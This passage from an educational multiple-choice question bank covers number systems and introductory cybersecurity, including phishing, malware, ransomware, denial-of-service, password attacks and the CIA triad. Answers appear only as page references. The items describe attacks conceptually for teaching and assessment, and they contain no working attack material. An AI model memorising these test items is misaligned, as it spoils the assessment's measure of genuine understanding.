Answer: page 1045

0003.g.9.4

To recover an account, a site asks users for the name of a first pet and the city of birth. A security review recommends removing these questions. Which reason most likely supports this recommendation?

A. Answers can often be found or guessed from public sources such as social media posts.

B. Answers require too much network bandwidth when they are checked during a recovery.

C. Answers are sent as plain text, because question forms rarely use encrypted connections.

D. Answers are hard to store safely, because mainly passwords can be protected by a hash.

Answer: page 1045

0003.g.9.5

A website emails a user a reset link that works for one use and expires in 15 minutes. Which risk does this design most directly limit?

A. a stolen or forwarded link being used much later

B. a failure of the user's email provider to send it

C. a slowdown in the user's Internet connection speed

D. a user forgetting the new password right away

Answer: page 1045

0003.h Number systems

Read about this in the content summary: 0003.h, page 129.

Bits and bytes

0003.h.1.1

A programmer needs a code that can represent each of 300 different products. What is the smallest number of bits per code that will work?

A. `9`

B. `8`

C. `300`

D. `150`

Answer: page 1045

0003.h.1.2

A diagnostics screen reports that a device's configuration value occupies exactly 3 bytes of storage. How many binary digits does this value occupy?

A. `3`

B. `6`

C. `24`

D. `768`

Answer: page 1045

0003.h.1.3

A device stores a sensor value in 4 bits. Which is the largest unsigned value that it can store?

A. `4`

B. `16`

C. `8`

D. `15`

Answer: page 1045

0003.h.1.4

A drawing program stores each pixel's color in 6 bits. An update widens this to 7 bits. How does the number of available colors change?

A. it rises from `36` to `49`

B. it rises from `6` to `7`

C. it rises from `64` to `128`

D. it rises from `64` to `65`

Answer: page 1045

0003.h.1.5

A network's address size is increased from 32 bits to 128 bits. By what factor does the number of possible addresses grow?

A. `2^96`

B. `96`

C. `128`

D. `4`

Answer: page 1045

Binary place values

0003.h.2.1

A sensor reports the status code `110101`, written in binary. A technician needs the same value in decimal to look it up in a manual. What is the decimal value?

A. `4`

B. `37`

C. `43`

D. `53`

Answer: page 1046

0003.h.2.2

A student builds a paper model of a binary number from five cards, each showing the value of one place, arranged from right to left. Which values should the cards show?

A. `2`, `4`, `6`, `8`, `10`

B. `1`, `10`, `100`, `1000`, `10000`

C. `1`, `2`, `3`, `4`, `5`

D. `1`, `2`, `4`, `8`, `16`

Answer: page 1046

0003.h.2.3

A classroom exercise asks students to set a row of five switches, where on means `1`, to show the decimal number `19`. Which pattern is correct?

A. `10111`

B. `10011`

C. `10010`

D. `11001`

Answer: page 1046

0003.h.2.4

A student notices that adding a `0` to the right of a binary number doubles it. Which explanation is correct?

A. Each digit changes from `0` to `1` when it moves.

B. Each digit is added to the value `2` a single time.

C. Each digit moves to a place worth twice as much.

D. Each digit is converted to its decimal representation.

Answer: page 1046

0003.h.2.5

A program counted `1011` errors on Monday and `0110` errors on Tuesday, with both counts shown in binary. What is the total for both days, expressed in decimal?

A. `15`

B. `17`

C. `1121`

D. `10001`

Answer: page 1046

Hexadecimal

0003.h.3.1

A log file records a device's temperature as hexadecimal `3C`. A technician wants to compare this reading with a limit given in decimal. What is the decimal value?

A. `15`

B. `36`

C. `60`

D. `312`

Answer: page 1046

0003.h.3.2

A student counting upward in hexadecimal reaches `F`, the last single digit before the count moves on to `10`. What decimal value does this digit represent?

A. `6`

B. `10`

C. `15`

D. `16`

Answer: page 1046

0003.h.3.3

A programmer must enter the decimal number `42` into a configuration screen that accepts only hexadecimal. Which value should the programmer enter?

A. `42`

B. `2A`

C. `A2`

D. `24`

Answer: page 1046

0003.h.3.4

A student reads the value `10` in a list of hexadecimal memory values and interprets it as the number ten. Which correction is accurate?

A. It represents one, since the zero has no effect on the value.

B. It represents sixteen, since the left digit counts sixteens.

C. It represents two, since every digit is a binary digit.

D. It represents ten, since the base does not change its value.

Answer: page 1046

0003.h.3.5

Four students report a sensor's peak reading in different number systems. Which student's reported value is largest?

A. hexadecimal `FF`

B. decimal `200`

C. hexadecimal `A0`

D. binary `11001000`

Answer: page 1046

Converting hexadecimal and binary

0003.h.4.1

A technician must set eight switches to match the value `7D` shown in hexadecimal on a wiring diagram. Which pattern, where `1` means on, should be set?

A. `0111 1110`

B. `0111 1011`

C. `0111 1101`

D. `1101 0111`

Answer: page 1046

0003.h.4.2

A learner discovers that a long binary value can be rewritten in hexadecimal by marking off groups of a fixed size. How many bits should each group contain?

A. `2`

B. `4`

C. `8`

D. `16`

Answer: page 1046

0003.h.4.3

A network tool prints a byte as `1010 0110`, but a manual lists values only in hexadecimal. Which entry in the manual matches this byte?

A. `6A`

B. `AF`

C. `166`

D. `A6`

Answer: page 1046

0003.h.4.4

A student converts the 6-bit value `101101` to hexadecimal, grouping from the left into `1011` and `01`. Which correction is needed?

A. Groups should be formed from the right: `10` and `1101`, giving `2D`.

B. Groups should be formed from the right: `101` and `101`, giving `55`.

C. Groups should be left as they are: `1011` and `01`, giving `B1`.

D. Groups should be formed one bit at a time, giving `101101`.

Answer: page 1046

0003.h.4.5

A debugging tool displays each 32-bit memory address in hexadecimal, padded with leading zeros. How many digits does each address show?

A. 4

B. 8

C. 16

D. 32

Answer: page 1046

Why computers use binary

0003.h.5.1

A student asks why computers do not use base 10 internally, given that people find base 10 more natural. Which response is most accurate?

A. Binary arithmetic was required by the first programming language standard.

B. Hardware can distinguish two states, such as on and off, most reliably.

C. Decimal numbers cannot be stored in a computer in any form at all.

D. Binary numbers are shorter than decimal numbers for the same values.

Answer: page 1046

0003.h.5.2

An engineer studying a processor's circuits asks how many distinct states each transistor can most reliably be made to represent, given that electrical signals always carry some noise. Which count is correct?

A. sixteen

B. two

C. four

D. ten

Answer: page 1046

0003.h.5.3

An engineer proposes storing ten distinct voltage levels per circuit rather than two. Which problem is most likely?

A. The system would need to use binary software to read decimal values.

B. Numbers larger than nine could not be represented in the hardware.

C. Small amounts of electrical noise would be harder to distinguish from a real signal.

D. The circuit could not perform arithmetic on stored values.

Answer: page 1046

0003.h.5.4

A teacher wants to show how a computer represents a number using physical states. Which classroom model is most accurate?

A. a stack of sticky notes with words written on them

B. a set of dials, each marked from zero to nine

C. a set of colored blocks, in no particular order

D. a row of light switches, each with a place value

Answer: page 1046

0003.h.5.5

A student says that a transistor physically contains the digit `0` or the digit `1`. Which correction is most accurate?

A. Hardware holds written symbols, which a processor reads as `0` and `1`.

B. Hardware holds `0` and `1` while a program is running on it.

C. Hardware holds physical states, and `0` and `1` are how they are read.

D. Hardware holds decimal digits, which are displayed as `0` and `1`.

Answer: page 1046

Why hexadecimal is used

0003.h.6.1

A crash report lists a memory address as `7FFE1A30` rather than as a string of 32 ones and zeros. Which advantage of this notation is most direct?

A. It lets the processor fetch that address faster.

B. It is short and maps exactly back to bits.

C. It can be read as an English word by most people.

D. It takes less memory to store the address itself.

Answer: page 1046

0003.h.6.2

A technician documenting a computer lab records several kinds of values. Which value is most likely to be written in hexadecimal?

A. a department's yearly budget

B. a network card's hardware address

C. a room's temperature reading

D. a student's telephone number

Answer: page 1046

0003.h.6.3

A network card's hardware address is shown as `3C:22:FB:10:A7:5E`. How many bits does this address contain?

A. `12`

B. `6`

C. `48`

D. `24`

Answer: page 1046

0003.h.6.4

A programmer must write a constant whose individual bits matter, and can write it as `11110000` in binary or as `F0` in hexadecimal. Why might the programmer choose the second form?

A. It requires less memory when the code is run.

B. It is shorter and easy to translate back to bits.

C. It has a larger value than the binary form has.

D. It tells the processor to handle the value as text.

Answer: page 1047

0003.h.6.5

A programmer inspecting a byte needs to see whether its upper four bits have changed. Why would displaying the byte in hexadecimal help more than displaying it in decimal?

A. Each hexadecimal digit matches a fixed group of four bits.

B. Each decimal digit is too large for the byte to hold.

C. Decimal values are not displayed on most debugging screens.

D. Decimal values are less accurate than hexadecimal ones.

Answer: page 1047

Hexadecimal web colors

0003.h.7.1

A student wants a web page's background to be pure blue, in the format `#RRGGBB`. Which value should the student use?

A. `#FFFFFF`

B. `#0000FF`

C. `#FF0000`

D. `#00FF00`

Answer: page 1047

0003.h.7.2

A web designer changes the middle two characters of the color `#336699` from `66` to `CC`, leaving the others alone. Which property of the color has the designer altered?

A. the intensity of green

B. the intensity of all three colors

C. the color's position on the screen

D. the width of the colored area

Answer: page 1047

0003.h.7.3

A style sheet sets a page's background to `#FFFFFF`. Which color will the background have?

A. black

B. gray

C. red

D. white

Answer: page 1047

0003.h.7.4

A designer wants a darker version of the color `#CC6600`, keeping about the same hue. Which value best serves this purpose?

A. `#00CC66`

B. `#FF9933`

C. `#663300`

D. `#CC6699`

Answer: page 1047

0003.h.7.5

A graphics tool accepts any color written in the six-digit `#RRGGBB` form. About how many different colors can a user specify with this form?

A. about 16.7 million

B. `256`

C. `768`

D. about 65 thousand

Answer: page 1047

Character encoding

0003.h.8.1

A program designed for ASCII displays garbled characters when given names written in Japanese and Arabic. Which change most directly solves this problem?

A. storing the names in hexadecimal rather than in binary digits

B. using a Unicode encoding that covers the world's writing systems

C. sorting the names alphabetically before they are displayed

D. using a font with a larger point size for the displayed names

Answer: page 1047

0003.h.8.2

An older device supports only basic English text, using a code that gives each of its 128 characters a number of the same length. How many bits does each character need?

A. `7`

B. `8`

C. `16`

D. `128`

Answer: page 1047

0003.h.8.3

In one character encoding, `"A"` is `65`, and `"a"` is `97`. A program converts an uppercase letter to lowercase by changing one bit. What is the place value of that bit?

A. `1`

B. `26`

C. `32`

D. `64`

Answer: page 1047

0003.h.8.4

An emoji stored in a popular Unicode encoding takes four bytes, whereas the letter `"A"` takes one byte. Which statement best describes why?

A. A variable-length encoding uses fewer bytes for common characters.

B. Emoji are images stored as graphics files in the text document.

C. Letters are held in hexadecimal, which needs fewer bytes than binary.

D. Bytes for an emoji are compressed using a type of encryption.

Answer: page 1047

0003.h.8.5

A file saved in one encoding is opened assuming another, and accented letters appear as strange symbols. What does this show?

A. The file must have been damaged by an attacker while in transit.

B. Bytes need a known encoding to be interpreted as text.

C. Accented letters cannot be stored in any file on a computer.

D. The file's bytes must have been deleted when it was opened.

Answer: page 1047

Signed integers and overflow

0003.h.9.1

An 8-bit unsigned counter holds `255`. A program adds `1`, and the counter becomes `0`. Which term best describes what has occurred?

A. a syntax error

B. overflow

C. a rounding tie

D. underflow in the highest bit

Answer: page 1047

0003.h.9.2

A processor stores each negative integer by inverting the bits of the matching positive value and then adding `1`. Which representation does this processor use?

A. two's complement

B. Unicode encoding

C. hexadecimal notation

D. floating point

Answer: page 1047

0003.h.9.3

A sensor records signed temperature offsets in 8 bits, using two's complement. Which range of whole numbers can it store?

A. `−255` to `255`

B. `−127` to `128`

C. `−128` to `127`

D. `0` to `255`

Answer: page 1047

0003.h.9.4

A programmer inspects a byte that holds `−1` in 8-bit two's complement. Which bit pattern should appear?

A. `1111 1110`

B. `0000 0001`

C. `1111 1111`

D. `1000 0001`

Answer: page 1047

0003.h.9.5

A game stores a player's score in a signed 32-bit integer. The score exceeds `2,147,483,647` and appears as a large negative number. Which change most directly prevents this?

A. using a type with more bits

B. running the game on a faster processor

C. using a different font on the screen

D. storing the score as a `char`

Answer: page 1047

0004 Cybersecurity

0004.a Assets and attacks

Read about this in the content summary: 0004.a, page 133.

Information worth protecting

0004.a.1.1

A district's IT director has budget to add stronger protection for only one data store this year. The stores contain cafeteria menus, the staff directory published on the district's website, student health records, and archived board meeting agendas. Which data store should receive the additional protection first?

A. the board agendas, which are the oldest records and are the hardest to replace

B. the student health records, which would cause lasting harm to individuals if exposed

C. the cafeteria menus, which are the data most often updated by district employees

D. the staff directory, which is the data most often requested by people outside the district

Answer: page 1048

0004.a.1.2

A district's communications office is preparing an open-records web page and is reviewing four files proposed for posting. Which file should be withheld from the page?

A. the calendar of school holidays and early dismissal dates for the year

B. the summary of the annual budget that the board approved and released

C. the agenda that was already published for next month's board meeting

D. a spreadsheet linking ninth graders' names to their disciplinary actions

Answer: page 1048

0004.a.1.3

During a risk review, an employee argues that a company laptop is not worth protecting because all customer files are kept on a central server and none are saved on the device. The employee has overlooked that the laptop:

A. may slow the central server for other staff if a thief switches it on elsewhere.

B. may hold saved logins and a trusted connection into the company's network.

C. may be the only place where the server's operating system license is stored.

D. may be worth more to a thief at resale than the central customer database.

Answer: page 1048

0004.a.1.4

A company keeps its product designs, payroll records, and customer list in three separate systems. A forensic review confirms that only the payroll system was copied by an intruder, and that all systems remained online. The harm most directly expected from this exposure is:

A. loss of market advantage as competitors copy the company's upcoming products.

B. identity theft and financial fraud against the employees named in the records.

C. loss of business as rivals contact the company's clients with competing offers.

D. interruption of service for the customers who use the company's website each day.

Answer: page 1048

0004.a.1.5

A small accounting firm is drafting its first security plan. The draft's list of what to protect contains only client files, on the reasoning that nothing else would interest an attacker. Which addition would most improve the list?

A. extra copies of the client files on the same server, because duplicates make each original less valuable

B. the firewall rules, the antivirus subscription, and the office door locks

C. the firm's published fee schedule, its public web page, and its listed street address

D. staff login credentials, the office computers, and the network connecting them

Answer: page 1048

Phishing

0004.a.2.1

A principal receives an email that mentions an upcoming conference by name, appears to come from the superintendent, and asks the principal to review an attached agenda. The attachment installs malicious software. Compared with a mass message sent to thousands of addresses, this attack is best described as:

A. credential stuffing, because it reuses information that was taken from another breach.

B. wardriving, because the attacker located the victim before sending the message.

C. spear phishing, because it uses personal details to target a specific person.

D. a man-in-the-middle attack, because the attacker poses as a trusted party in the exchange.

Answer: page 1048

0004.a.2.2

A university's mail servers are fully patched, and all of its connections are encrypted. Even so, an attacker's message persuades a lecturer to type a password into a copied login page. The attack succeeded because it relied on:

A. capturing the lecturer's password as it crossed the university's wireless network.

B. trying each possible combination of characters until the login page accepted one.

C. deceiving a person into giving up a secret that the technical controls still protected.

D. overwhelming the mail server until its filters stopped examining incoming messages.

Answer: page 1048

0004.a.2.3

An email that claims to come from a school's IT department warns that an account will be closed within one hour unless the user logs in at the link provided. Taking which step is most appropriate before responding?

A. opening the link on a personal phone, which is not connected to the school's network

B. replying to the message and asking the sender to confirm it

C. checking that the message displays the department's logo and usual signature block

D. contacting the department through a phone number already known to be genuine

Answer: page 1048

0004.a.2.4

An organization's email filter blocks nearly all fraudulent messages, yet each quarter a few employees still enter their passwords on fake sites reached through messages that slip past it. Which conclusion is most justified?

A. The mailboxes of these employees are probably compromised, since a working filter would have stopped such messages.

B. The filter should be removed, since it encourages employees to trust their inboxes.

C. The password rules should be tightened, since fake sites mostly succeed against weak passwords.

D. The filter is useful, but it needs training and a second login factor alongside it.

Answer: page 1048

0004.a.2.5

A security team examines a message whose sender address differs by one character from a bank's real domain. Its link opens a page that displays a valid HTTPS lock icon. Which interpretation of the lock is most accurate?

A. It shows that the address must be genuine, since mail systems reject lookalike spellings.

B. It shows that the connection is encrypted, not that the site's owner is honest.

C. It shows that the page is safe, since fraudulent sites are unable to obtain certificates.

D. It shows that a certificate authority has confirmed the message as genuine.

Answer: page 1048

Social engineering

0004.a.3.1

A person wearing a delivery uniform carries a stack of boxes to a secure door at a data center and waits, and an employee holds the door open. No technical system was attacked. This incident is best described as:

A. shoulder surfing, because the attacker is watching an authorized person to get past a barrier.

B. a denial-of-service attack, because the employee's security role was made unavailable.

C. a brute-force attack, because the attacker persists until a barrier gives way.

D. social engineering, because the attack manipulates a person rather than a system.

Answer: page 1048

0004.a.3.2

Several USB drives labeled “Staff Salaries” appear in a school’s parking lot. An employee takes one inside and plugs it into an office computer, which installs malware. The attacker’s tactic is best described as:

A. flooding, which sends a target more requests than it is able to process.

B. baiting, which uses curiosity about an apparent find to prompt a harmful action.

C. sniffing, which captures information as it passes across a network connection.

D. credential stuffing, which tries passwords that were taken from an earlier breach.

Answer: page 1048

0004.a.3.3

A caller claims to be from a district’s payroll vendor, says that a deposit will fail by the end of the day, and asks a clerk to read back an employee’s bank details. The caller is relying mainly on:

A. malicious software on the clerk’s computer that displays the bank details remotely.

B. intercepted network traffic that has revealed the clerk’s login.

C. a false identity and time pressure that discourage the clerk from checking.

D. a weakness in the payroll system’s encryption that the clerk’s answers will reveal.

Answer: page 1048

0004.a.3.4

Shortly after a company upgrades its firewall and encrypts its servers, an attacker obtains an administrator’s password by phoning the help desk and posing as a traveling executive. Which change most directly addresses the weakness that this incident exposed?

A. requiring help desk staff to confirm each caller’s identity using a set procedure

B. closing the help desk’s phone line and accepting requests only through a web form

C. adding a second layer of encryption to the data that the company’s servers store

D. replacing the firewall with a model that inspects more of the network’s traffic

Answer: page 1048

0004.a.3.5

An employee receives a text message from someone claiming to be the chief executive, who asks the employee to buy gift cards within the hour and to tell no one until the purchase is complete. Which feature of the request most strongly suggests manipulation?

A. the demand for speed and secrecy, which works against normal checking

B. the contact from a senior leader, who does not normally communicate with employees

C. the mention of gift cards, which are sold at many retail stores

D. the arrival of the text message during the employee's regular working hours

Answer: page 1048

Malware types

0004.a.4.1

A downloadable program claims to be a free game, and users install it willingly. It runs a game but also opens a hidden connection to an attacker. It does not copy itself to other computers. This malware is best classified as:

A. a Trojan, since it disguises itself as legitimate software.

B. a worm, since it reaches a computer through a network connection.

C. ransomware, since the attacker gains control over the computer.

D. a virus, since it runs in addition to a legitimate program.

Answer: page 1048

0004.a.4.2

Overnight, a program moves from one unpatched server to the next across a company's network. No employee opens a file or clicks on anything, and the program is not attached to any document. The program is most likely:

A. a virus.

B. a Trojan.

C. spyware.

D. a worm.

Answer: page 1049

0004.a.4.3

An attacker logs in to a student's bank account, although the student's password was long and the bank's site uses HTTPS. A scan of the student's laptop then finds a small hidden program. Which capability of the program would best explain how the attacker learned the password?

A. recording what is typed on the laptop before the browser encrypts it

B. copying itself to other computers on the student's home network

C. breaking the encryption of the connection after capturing it from the network

D. posing as a useful application so that the student would agree to install it

Answer: page 1049

0004.a.4.4

A malicious macro in a shared spreadsheet infects other documents on a computer as they are opened, and it spreads when those documents are shared. Which classification and feature are most accurate?

A. spyware, because it runs without the user's direct knowledge of its action

B. a worm, because it spreads between computers across a network connection

C. a virus, because it attaches to files and depends on them to spread

D. a Trojan, because it is hidden in something that a user chooses to open

Answer: page 1049

0004.a.4.5

A browser add-on works as advertised and causes no visible problems, but it also sends a list of each site visited to an advertising company without telling the user. The add-on's hidden behavior is best classified as:

A. ransomware.

B. a worm.

C. spyware.

D. a keylogger.

Answer: page 1049

Ransomware

0004.a.5.1

A hospital's files are suddenly unreadable, and a message demands payment for a key. The hospital has recent backups that were kept offline. Which response to the attack do the backups most directly make possible?

A. identifying the attacker, because backups record the source of each file change

B. restoring the files without depending on the attacker to provide a key

C. preventing exposure of patient data, because restoring reverses any data theft

D. decrypting the files directly, because backups contain a copy of the attacker's key

Answer: page 1049

0004.a.5.2

On Monday morning, staff at an engineering firm find that every document opens as unreadable characters. A message on each screen offers to make the documents usable again in exchange for payment. Which account of these events is most accurate?

A. A keylogger has captured staff passwords, and it is changing the text that each user types.

B. Malware has encrypted the documents, and the attacker holds the key to reverse this.

C. A worm has deleted the documents, and the attacker is selling back copies.

D. Compromised devices are flooding the file server, so the documents cannot load properly.

Answer: page 1049

0004.a.5.3

A school's backups are stored on a network drive that stays connected at all times. During an attack, malware encrypts the school's main files and then the backups on that drive. Which change would have best protected the backups?

A. running the backups several times a day on the same connected drive

B. storing the backups in a folder whose name does not suggest what it holds

C. compressing the backups so that each one takes up less space on the drive

D. keeping at least one copy offline or otherwise isolated from the network

Answer: page 1049

0004.a.5.4

After a company pays a ransom and restores its files, which concern most clearly remains?

A. The key may also unlock other victims' files, creating liability.

B. The restored files may carry a marker that blocks future backups.

C. The key may expire, leaving the restored files unreadable within a year.

D. The attacker may have copied the data and may still have access.

Answer: page 1049

0004.a.5.5

An incident report notes that malicious software spent several days moving between machines on a company's network. It began encrypting files and displaying payment demands only after it had reached most of them. The attackers' most likely reason for this delay was to:

A. gather enough computing power across the machines to generate a key.

B. raise the cost of refusing to pay by damaging more of the organization at once.

C. wait until the company's backups had finished, since encryption requires a recent copy.

D. collect the files of many machines in one place, since encryption works on a single disk.

Answer: page 1049

Denial-of-service attacks

0004.a.6.1

A government website becomes unreachable when it receives enormous numbers of requests from thousands of home routers and cameras around the world. Which factor most directly determines how large such an attack can become?

A. the length of the passwords used by visitors to the website

B. the amount of data encrypted on each of the devices used in the attack

C. the number of connections between the website's own internal servers

D. the number of compromised devices and their openness to outside access

Answer: page 1049

0004.a.6.2

A criminal group rents out control of 200,000 infected home cameras and routers, whose owners are unaware of the infection, to customers who want to knock websites offline. The resource being rented is best described as:

A. a virtual private network, a set of servers that encrypts traffic between locations.

B. a botnet, a set of compromised devices directed by an attacker.

C. an advanced persistent threat, a group seeking hidden long-term access to one network.

D. a crawler, a set of programs that index public web pages.

Answer: page 1049

0004.a.6.3

An online retailer has been warned that it may be flooded by requests from many sources during a holiday sale, with the aim of keeping customers from reaching the checkout page. Which safeguard most directly addresses this risk?

A. an encrypted connection for each page, so that the attacker's requests cannot be read

B. a service that spreads incoming traffic across many servers and filters it

C. a stronger hash function for the passwords stored in the customer database

D. a rule that locks a customer's account after several failed login attempts

Answer: page 1049

0004.a.6.4

During a two-hour attack, a public library's online catalog receives so many bogus requests that patrons cannot load it. Administrators later confirm that no record was read or changed. In terms of security goals, the attack has most directly harmed:

A. integrity.

B. availability.

C. confidentiality.

D. authenticity.

Answer: page 1049

0004.a.6.5

A network administrator blocks the address that is sending the most requests to an overwhelmed school website, but the site remains unusable. Which explanation most directly accounts for this result?

A. The requests use stolen staff passwords, so they are exempt from the firewall's rules.

B. The website has been infected, so the server is generating the requests.

C. The requests are encrypted, so the firewall cannot apply a rule to their addresses.

D. The requests come from many sources, so blocking one leaves nearly all of them.

Answer: page 1049

Password attacks

0004.a.7.1

A large online forum is breached, and its leaked passwords are later used by attackers to log in to victims' bank and email accounts. The attackers do not need to guess anything. Which attack does this describe, and which user behavior makes it possible?

A. credential stuffing, which depends on people reusing passwords across sites

B. brute force, which depends on people choosing passwords that are too short

C. a dictionary attack, which depends on people choosing common words as passwords

D. spear phishing, which depends on people sharing personal details on social media

Answer: page 1049

0004.a.7.2

An attacker's tool works through a list of a few million ordinary words and popular choices such as `letmein`, and then stops. It does not try every possible string, and the list did not come from a breach. This approach is known as:

A. a dictionary attack.

B. packet sniffing.

C. credential stuffing.

D. a brute-force attack.

Answer: page 1049

0004.a.7.3

A login page locks an account after five failed attempts. This control most directly slows:

A. an attacker entering a password captured by a keylogger on the first attempt.

B. an attacker submitting many possible passwords to the page, one after another.

C. an attacker collecting passwords from a copied page advertised by fraudulent email.

D. an attacker sending the web server more requests than it is able to process.

Answer: page 1049

0004.a.7.4

A user's password is twenty random characters, and the user has chosen it for several websites. One of those sites is breached, and its passwords are exposed in readable form. Which statement best describes the user's position?

A. The randomness protects the other accounts, because each site stores a different version of it.

B. The exposure should stay with the breached site, because a password is tied to one account.

C. The length keeps the other accounts safe, because attackers usually try short passwords on them.

D. Guessing remains impractical, yet the leaked copy will work wherever the password was reused.

Answer: page 1050

0004.a.7.5

An attacker steals a file of password hashes from a company and then tries billions of guesses per second on the attacker's own hardware. The company's lockout after five failed logins gives no protection here because:

A. the hashes are plain text, so no guessing is involved.

B. the guesses never pass through the company's login system.

C. the attacker's hardware submits guesses too quickly for the lockout to respond.

D. the lockout counts failures per account, and the attacker targets many accounts.

Answer: page 1050

Interception attacks

0004.a.8.1

A traveler connects to free Wi-Fi at an airport through a network that an attacker has set up to look legitimate. The attacker can view and relay traffic between the traveler and the sites visited. Which attack is this, and which safeguard most directly limits what is exposed?

A. credential stuffing, limited by choosing different passwords on each site

B. a man-in-the-middle attack, limited by encrypting traffic end to end

C. a Trojan attack, limited by scanning each downloaded file for malware

D. a denial-of-service attack, limited by adding redundant wireless routers

Answer: page 1050

0004.a.8.2

A person sitting in a hotel lobby runs a free tool that quietly records the data passing over the open Wi-Fi network. The tool neither alters nor relays any of the data. This activity is best described as:

A. a man-in-the-middle attack.

B. a denial-of-service attack.

C. wardriving.

D. packet sniffing.

Answer: page 1050

0004.a.8.3

A student logs in to a course site that uses plain HTTP while connected to a train station's open Wi-Fi network. Which risk does this combination most immediately create?

A. the login form installing malware on the laptop, because HTTP carries infected files

B. the site's server losing the student's saved files

C. another person on the network capturing the password as it is sent

D. the network's router failing because of the load that the login places on it

Answer: page 1050

0004.a.8.4

While connected to a hotel's Wi-Fi, a user opens the login page of an email service used daily. The browser warns that the site's certificate is invalid. Which interpretation is safest?

A. The browser may be out of date, so the warning can be bypassed.

B. The connection may be intercepted, so the user should not proceed with the login.

C. The hotel's connection may be slow, so the user should reload the page at lower quality.

D. The service's password rules may have changed, so the user should choose a new password.

Answer: page 1050

0004.a.8.5

Which safeguard best protects a remote employee's traffic from others on a public network?

A. a longer password for unlocking the screen of the employee's laptop

B. a virtual private network (VPN) that encrypts traffic to the employer

C. a full-disk encryption setting for the files on the employee's laptop

D. an antivirus scan of each file that the employee saves to the laptop

Answer: page 1050

Insider threats

0004.a.9.1

A company's former contractor logs in three months after a contract ended and downloads client files using an account that was never disabled. No malware or phishing is involved. Which safeguard failure does this incident most directly reveal?

A. not requiring longer passwords for the contractor's account in advance

B. not encrypting the connection between the contractor and the server

C. not blocking login attempts from a large number of foreign addresses

D. not removing access when a person's role ends

Answer: page 1050

0004.a.9.2

A payroll clerk uses valid credentials to copy coworkers' salary records to a personal drive, and later sells them to a recruiting firm. No system was broken into at any point. This incident best fits:

A. credential stuffing, since the clerk logged in with existing credentials.

B. a man-in-the-middle attack, since the clerk stood between coworkers and their records.

C. social engineering, since the recruiting firm persuaded the clerk to hand over records.

D. an insider threat, since a person misused access that was legitimately granted.

Answer: page 1050

0004.a.9.3

Intending to send a client spreadsheet to a coworker, an employee picks a similar name from the address list and sends it to someone outside the company. How is this event best classified?

A. not a security incident, because the employee did not intend to cause any harm

B. an interception incident, because an outsider obtained the file while it was in transit

C. an insider incident, because a person with legitimate access caused the exposure

D. a phishing incident, because the address list displayed a similar and misleading name

Answer: page 1050

0004.a.9.4

Which safeguard most directly limits the damage that one staff member's account could do?

A. requiring every member of staff to choose a much longer account password

B. blocking traffic from outside the country at the school's firewall

C. limiting each account to the access that the person's role requires

D. encrypting the wireless connections used throughout the school building

Answer: page 1050

0004.a.9.5

A company's firewall logs show nothing unusual for the quarter in which an engineer downloaded and leaked thousands of design files from a server the engineer was entitled to use. Which explanation best accounts for the quiet logs?

A. The engineer must have used custom malware, which firewalls cannot see.

B. The files were encrypted on the server, using a key that the firewall does not hold.

C. The downloads took place after working hours, when firewalls do not write to logs.

D. The activity came from inside, through an account authorized to use the server.

Answer: page 1050

Wardriving and physical attacks

0004.a.10.1

An attacker drives slowly through a neighborhood with a laptop, recording which wireless networks are in range and how each is secured. This activity is known as:

A. credential stuffing.

B. spear phishing.

C. wardriving.

D. shoulder surfing.

Answer: page 1050

0004.a.10.2

At a busy coffee counter, a person stands close behind a customer who is typing a phone's passcode. The person later steals the phone and unlocks it. The first step of this attack is best described as:

A. packet sniffing.

B. shoulder surfing.

C. keylogging.

D. baiting.

Answer: page 1050

0004.a.10.3

A laptop holding student records is stolen from a teacher's car while it is powered off. Which safeguard, had it been in place, would most directly have kept the records confidential after the theft?

A. a nightly backup of the records

B. a stronger firewall on the school's own network

C. full-disk encryption on the laptop

D. current antivirus software on the teacher's laptop

Answer: page 1050

0004.a.10.4

Which change would most directly stop strangers from watching patrons log in at public computers?

A. requiring longer passwords for all patrons' accounts on the public computers

B. positioning screens away from walkways and adding privacy filters

C. replacing the public computers with faster machines throughout the library

D. blocking additional websites through the library's content filter

Answer: page 1050

0004.a.10.5

A small office has only wired network connections and no wireless equipment of any kind. To which of the following threats is the office least exposed?

A. a visitor watching an employee type a password

B. the theft of a computer from the office during the night

C. misuse of records by an employee who has valid credentials

D. a search for networks by someone in a passing vehicle

Answer: page 1050

Advanced persistent threats

0004.a.11.1

Investigators find that an intruder has quietly maintained access to a defense contractor's network for two years, moving slowly between systems and exfiltrating small amounts of data. The tools were custom-built. Which description best fits this adversary?

A. a worm spreading automatically

B. a script kiddie using public tools

C. an advanced persistent threat

D. a disgruntled former employee

Answer: page 1051

0004.a.11.2

Analysts study a campaign against a foreign ministry that has lasted several years and uses custom tools. No payment has been demanded, and the stolen documents have little resale value. Which kind of actor does the evidence best support?

A. a careless employee who mishandled the ministry's documents

B. a well-funded group, quite possibly backed by a government

C. a criminal group seeking a quick payment from the ministry

D. a lone student who is experimenting with tools from public forums

Answer: page 1051

0004.a.11.3

An incident responder compares two intrusions. In the first, files are encrypted within hours and a note appears on every screen. In the second, an intruder is found to have been reading executives' email for eighteen months. Which statement best explains why the second intruder stayed silent?

A. The intruder's tools were too limited to encrypt files or to display a message.

B. The intruder had no route to file servers, since email is kept on a separate network.

C. The intruder expected a payment later, since payment demands follow after a set delay.

D. The intruder's goal depended on remaining undetected so that access could continue.

Answer: page 1051

0004.a.11.4

Which measure best fits a suspicion that a patient intruder is already inside a network?

A. continuous monitoring for unusual activity across internal systems

B. an additional audit of the rules on the external firewall this year

C. a replacement of the company's public website with a newer design

D. a single password reset for staff at the headquarters location

Answer: page 1051

0004.a.11.5

A security team finds that an intruder has logged in to one new server every few weeks, always during business hours, using tools not seen elsewhere. Which inference does this pattern best support?

A. A botnet is preparing the servers for a flood of web requests.

B. A careless employee is opening the wrong servers by accident.

C. A worm is spreading automatically from one server to the next.

D. A deliberate operator is moving slowly in order to avoid notice.

Answer: page 1051

0004.b Safeguards

Read about this in the content summary: 0004.b, page 137.

CIA triad

0004.b.1.1

A power failure leaves a clinic's records system unusable for six hours. When power returns, an audit confirms that every record is intact and that no outsider has viewed any of them. Which security goal did the outage affect?

A. confidentiality

B. availability

C. accountability

D. integrity

Answer: page 1051

0004.b.1.2

A hospital's policy states: "A lab result, once entered, may not be changed without authorization." This sentence expresses which goal?

A. availability

B. integrity

C. confidentiality

D. redundancy

Answer: page 1051

0004.b.1.3

A student finds a teacher's password on a sticky note and uses it to raise a grade in the school's records system. The system stays online throughout. Compared with the harm from simply viewing the grade, the additional harm here concerns:

A. whether the student's identity can be concealed from the school.

B. whether the stored record can still be trusted as correct.

C. whether the school has enough copies of the record.

D. whether teachers can still reach the system when they need it.

